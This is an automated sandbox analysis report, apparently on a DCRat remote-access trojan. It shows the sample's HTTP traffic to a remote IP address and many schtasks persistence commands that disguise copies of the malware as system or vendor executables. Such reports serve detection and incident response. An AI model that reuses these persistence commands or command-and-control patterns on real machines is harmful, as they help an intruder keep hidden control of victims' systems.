Apr 23, 2024 22:42:03.941010952 CEST	1289	IN	Data Raw: 65 78 2e 6d 65 74 72 69 6b 61 2f 73 63 72 69 70 74 2e 6a 73 3f 31 36 39 36 38 33 38 35 39 30 36 36 30 33 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 42 58 2e 73 Data Ascii: ex.metrika/script.js?16968385906603"></script><script type="text/javascript">BX.setJSList(['/bitrix/js/main/core/core_fx.js','/bitrix/js/main/session.js','/bitrix/js/main/pageobject/pageobject.js','/bitrix/js/main/core/core_window.js','/bitri
Apr 23, 2024 22:42:03.941024065 CEST	1289	IN	Data Raw: 27 2f 62 69 74 72 69 78 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 62 69 74 72 69 78 2f 73 65 61 72 63 68 2e 74 69 74 6c 65 2f 73 63 72 69 70 74 2e 6a 73 27 2c 27 2f 6c 6f 63 61 6c 2f 74 65 6d 70 6c 61 74 65 73 2f 62 69 74 6c 61 74 65 5f 70 72 6f 2f 63 Data Ascii: '/bitrix/components/bitrix/search.title/script.js','/local/templates/bitlate_pro/components/bitrix/sale.basket.basket.line/.default/script.js','/bitrix/components/bitrix/main.userconsent.request/templates/.default/user_consent.js','/local/temp
Apr 23, 2024 22:42:03.941035032 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 6d 5b 69 5d 2e 6c 20 3d 20 31 20 2a 20 6e 65 77 20 44 61 74 65 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6b 20 3d 20 65 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 74 29 2c 20 61 20 3d 20 65 Data Ascii: m[i].l = 1 * new Date(); k = e.createElement(t), a = e.getElementsByTagName(t)[0], k.async = 1, k.src = r, a.parentNode.insertBefore(k, a) }) (window, document, "script", "https://m
Apr 23, 2024 22:42:03.941046953 CEST	1289	IN	Data Raw: 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 09 09 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 09 09 09 09 09 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 09 09 09 09 09 09 76 61 72 20 63 6f 75 6e 74 65 Data Ascii: type="text/javascript">(function () {"use strict";var counter = function (){var cookie = (function (name) {var parts = ("; " + document.cookie).split("; " + name + "=");if (parts.length ==
Apr 23, 2024 22:42:03.941060066 CEST	1289	IN	Data Raw: 61 38 33 30 62 34 61 66 35 32 62 38 66 61 61 33 61 36 32 36 38 38 61 30 32 5f 76 31 2e 6a 73 3f 31 37 31 30 33 31 35 33 31 38 36 36 36 36 31 30 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 Data Ascii: a830b4af52b8faa3a62688a02_v1.js?1710315318666610"></script><script type="text/javascript" src="/bitrix/cache/js/s1/bitlate_pro/default_2abfc666767583f2db40e8317cf31b47/default_2abfc666767583f2db40e8317cf31b47_v1.js?17103153188564"></script>
Apr 23, 2024 22:42:04.193813086 CEST	1289	IN	Data Raw: bc 20 d1 86 d0 b5 d0 bd d0 b0 d0 bc 2e 22 3e 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 Data Ascii: ."> <meta property="og:type" content="website"/> <meta property="og:url" content="http://45.130.42.16/6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	45.130.42.16	80	6376	C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 22:42:04.734349012 CEST	576	OUT	GET /6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z&223505adc80271978c1edbb4eca1c18c=d7a9900f45d34dd9122c7526d5dd4ee1&550e331da9a15a3997b38874465fab05=gNjdzMlNWOwgDOiljZ5kDZ3UjNhZmZjlzMlJmNkBTOkFWM3YjNihDZ&MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpjA20z HTTP/1.1 Accept: / Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 45.130.42.16
Apr 23, 2024 22:42:05.095524073 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 23 Apr 2024 20:42:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 177375 Connection: keep-alive P3P: policyref="/bitrix/p3p.xml", CP="NON DSP COR CUR ADM DEV PSA PSD OUR UNR BUS UNI COM NAV INT DEM STA" X-Powered-CMS: Bitrix Site Manager (3cb6b699f91fcd1677ea8a5f7bcf940b) Set-Cookie: PHPSESSID=KxXgB60mEPIvLU8dX8tTLbwu5q9WYh0Z; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: BITRIX_SM_GUEST_ID=2289526; expires=Fri, 18-Apr-2025 20:42:04 GMT; Max-Age=31104000; path=/ Set-Cookie: BITRIX_SM_LAST_VISIT=23.04.2024%2023%3A42%3A04; expires=Fri, 18-Apr-2025 20:42:04 GMT; Max-Age=31104000; path=/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 b6 d0 b5 d0 bd d1 81 d0 ba d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d0 bc d1 83 d0 b6 d1 81 d0 ba d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d1 81 d0 bf d0 be d1 80 d1 82 d0 b8 d0 b2 d0 bd d0 b0 d1 8f 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d0 b0 2c 20 d1 82 d0 b0 d0 bf d0 be d1 87 d0 ba d0 b8 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 9c d1 8b 20 d0 bf d1 80 d0 b5 d0 b4 d0 bb d0 b0 d0 b3 d0 b0 d0 b5 d0 bc 20 d1 88 d0 b8 d1 80 d0 be d0 ba d0 b8 d0 b9 20 d0 b0 d1 81 d1 81 d0 be d1 80 d1 82 d0 b8 d0 bc d0 b5 d0 bd d1 82 20 d0 ba d0 b0 d1 87 Data Ascii: <!DOCTYPE html><html lang="ru"><head> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="keywords" content=" , , , " /><meta name="description" content="
Apr 23, 2024 22:42:05.095601082 CEST	1289	IN	Data Raw: d0 b5 d1 81 d1 82 d0 b2 d0 b5 d0 bd d0 bd d0 be d0 b9 20 d0 be d0 b4 d0 b5 d0 b6 d0 b4 d1 8b 20 d0 bf d0 be 20 d0 b0 d0 b4 d0 b5 d0 ba d0 b2 d0 b0 d1 82 d0 bd d1 8b d0 bc 20 d1 86 d0 b5 d0 bd d0 b0 d0 bc 2e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 Data Ascii: ." /><link href="/bitrix/js/ui/design-tokens/dist/ui.design-tokens.min.css?169683975822029" type="text/css" rel="stylesheet" /><link href="/bitrix/js/ui/fonts/opensans/ui.f
Apr 23, 2024 22:42:05.095613003 CEST	1289	IN	Data Raw: 5f 57 49 4e 44 4f 57 5f 4e 41 52 52 4f 57 27 3a 27 d0 a1 d0 b2 d0 b5 d1 80 d0 bd d1 83 d1 82 d1 8c 20 d0 b2 20 d0 be d0 ba d0 bd d0 be 27 2c 27 4a 53 5f 43 4f 52 45 5f 57 49 4e 44 4f 57 5f 53 41 56 45 27 3a 27 d0 a1 d0 be d1 85 d1 80 d0 b0 d0 bd Data Ascii: _WINDOW_NARROW':' ','JS_CORE_WINDOW_SAVE':'','JS_CORE_WINDOW_CANCEL':'','JS_CORE_WINDOW_CONTINUE':'','JS_CORE_H':'','JS_CORE_M':'','JS_CORE_S':'','JSADM_AI_
Apr 23, 2024 22:42:05.095619917 CEST	1289	IN	Data Raw: 73 2f 6d 61 69 6e 2f 70 6f 6c 79 66 69 6c 6c 2f 69 6e 74 65 72 73 65 63 74 69 6f 6e 6f 62 73 65 72 76 65 72 2f 6a 73 2f 69 6e 74 65 72 73 65 63 74 69 6f 6e 6f 62 73 65 72 76 65 72 2e 6a 73 27 2c 27 2f 62 69 74 72 69 78 2f 6a 73 2f 6d 61 69 6e 2f Data Ascii: s/main/polyfill/intersectionobserver/js/intersectionobserver.js','/bitrix/js/main/lazyload/dist/lazyload.bundle.js','/bitrix/js/main/polyfill/core/dist/polyfill.bundle.js','/bitrix/js/main/parambag/dist/parambag.bundle.js']);</script><script
Apr 23, 2024 22:42:05.095626116 CEST	1289	IN	Data Raw: 44 44 2e 4d 4d 2e 59 59 59 59 20 48 48 3a 4d 49 3a 53 53 27 2c 27 43 4f 4f 4b 49 45 5f 50 52 45 46 49 58 27 3a 27 42 49 54 52 49 58 5f 53 4d 27 2c 27 53 45 52 56 45 52 5f 54 5a 5f 4f 46 46 53 45 54 27 3a 27 31 30 38 30 30 27 2c 27 55 54 46 5f 4d Data Ascii: DD.MM.YYYY HH:MI:SS','COOKIE_PREFIX':'BITRIX_SM','SERVER_TZ_OFFSET':'10800','UTF_MODE':'Y','SITE_ID':'s1','SITE_DIR':'/','USER_ID':'','SERVER_TIME':'1713904924','USER_TZ_OFFSET':'0','USER_TZ_AUTO':'Y','bitrix_sessid':'4998b5cf88c733d561ece3b73
Apr 23, 2024 22:42:05.095638037 CEST	1289	IN	Data Raw: 65 78 2e 6d 65 74 72 69 6b 61 2f 73 63 72 69 70 74 2e 6a 73 3f 31 36 39 36 38 33 38 35 39 30 36 36 30 33 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 42 58 2e 73 Data Ascii: ex.metrika/script.js?16968385906603"></script><script type="text/javascript">BX.setJSList(['/bitrix/js/main/core/core_fx.js','/bitrix/js/main/session.js','/bitrix/js/main/pageobject/pageobject.js','/bitrix/js/main/core/core_window.js','/bitri
Apr 23, 2024 22:42:05.095649958 CEST	1289	IN	Data Raw: 27 2f 62 69 74 72 69 78 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 62 69 74 72 69 78 2f 73 65 61 72 63 68 2e 74 69 74 6c 65 2f 73 63 72 69 70 74 2e 6a 73 27 2c 27 2f 6c 6f 63 61 6c 2f 74 65 6d 70 6c 61 74 65 73 2f 62 69 74 6c 61 74 65 5f 70 72 6f 2f 63 Data Ascii: '/bitrix/components/bitrix/search.title/script.js','/local/templates/bitlate_pro/components/bitrix/sale.basket.basket.line/.default/script.js','/bitrix/components/bitrix/main.userconsent.request/templates/.default/user_consent.js','/local/temp
Apr 23, 2024 22:42:05.095662117 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 6d 5b 69 5d 2e 6c 20 3d 20 31 20 2a 20 6e 65 77 20 44 61 74 65 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6b 20 3d 20 65 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 74 29 2c 20 61 20 3d 20 65 Data Ascii: m[i].l = 1 * new Date(); k = e.createElement(t), a = e.getElementsByTagName(t)[0], k.async = 1, k.src = r, a.parentNode.insertBefore(k, a) }) (window, document, "script", "https://m
Apr 23, 2024 22:42:05.095673084 CEST	1289	IN	Data Raw: 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 09 09 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 09 09 09 09 09 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 09 09 09 09 09 09 76 61 72 20 63 6f 75 6e 74 65 Data Ascii: type="text/javascript">(function () {"use strict";var counter = function (){var cookie = (function (name) {var parts = ("; " + document.cookie).split("; " + name + "=");if (parts.length ==
Apr 23, 2024 22:42:05.095683098 CEST	1289	IN	Data Raw: 61 38 33 30 62 34 61 66 35 32 62 38 66 61 61 33 61 36 32 36 38 38 61 30 32 5f 76 31 2e 6a 73 3f 31 37 31 30 33 31 35 33 31 38 36 36 36 36 31 30 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 Data Ascii: a830b4af52b8faa3a62688a02_v1.js?1710315318666610"></script><script type="text/javascript" src="/bitrix/cache/js/s1/bitlate_pro/default_2abfc666767583f2db40e8317cf31b47/default_2abfc666767583f2db40e8317cf31b47_v1.js?17103153188564"></script>
Apr 23, 2024 22:42:05.358309031 CEST	1289	IN	Data Raw: bc 20 d1 86 d0 b5 d0 bd d0 b0 d0 bc 2e 22 3e 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 Data Ascii: ."> <meta property="og:type" content="website"/> <meta property="og:url" content="http://45.130.42.16/6/api144/9Wp/ImagevmcpuBigloaddefault.php?MCq8kxznRpE60jYE6i=lG5zicKtIWeAP&wK0sdAGnXlB32J1ShQkF4bQMIgaE=RxpzDDZhVciR8tTxpj

Target ID:	0
Start time:	22:41:59
Start date:	23/04/2024
Path:	C:\Users\user\Desktop\13ZNp2xvRU.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\13ZNp2xvRU.exe"
Imagebase:	0x690000
File size:	848'384 bytes
MD5 hash:	2519412BD469CE3DE2888AA487BE8F51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1725729204.0000000002E64000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1725729204.0000000002B51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:41:59
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 6 /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:42:00
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWe" /sc ONLOGON /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:42:00
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 7 /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:42:00
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 7 /tr "'C:\Windows\twain_32\Registry.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:42:00
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Windows\twain_32\Registry.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:42:00
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 6 /tr "'C:\Windows\twain_32\Registry.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:42:00
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\smartscreen.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:42:00
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks.exe /create /tn "smartscreen" /sc ONLOGON /tr "'C:\Users\All Users\smartscreen.exe'" /rl HIGHEST /f
Imagebase:	0x4a0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:42:00
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\smartscreen.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:42:00
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 12 /tr "'C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:42:00
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWe" /sc ONLOGON /tr "'C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:42:00
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 10 /tr "'C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	22:42:00
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\google\Update\RRVGfHJzvQMYfWe.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:42:00
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWe" /sc ONLOGON /tr "'C:\Program Files (x86)\google\Update\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:42:01
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\google\Update\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:42:01
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "UserOOBEBrokerU" /sc MINUTE /mo 6 /tr "'C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:42:01
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "UserOOBEBroker" /sc ONLOGON /tr "'C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:42:01
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "UserOOBEBrokerU" /sc MINUTE /mo 12 /tr "'C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:42:01
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 10 /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:42:01
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWe" /sc ONLOGON /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	22:42:01
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 14 /tr "'C:\Recovery\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:42:01
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:42:01
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWe" /sc ONLOGON /tr "'C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	22:42:01
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RRVGfHJzvQMYfWeR" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

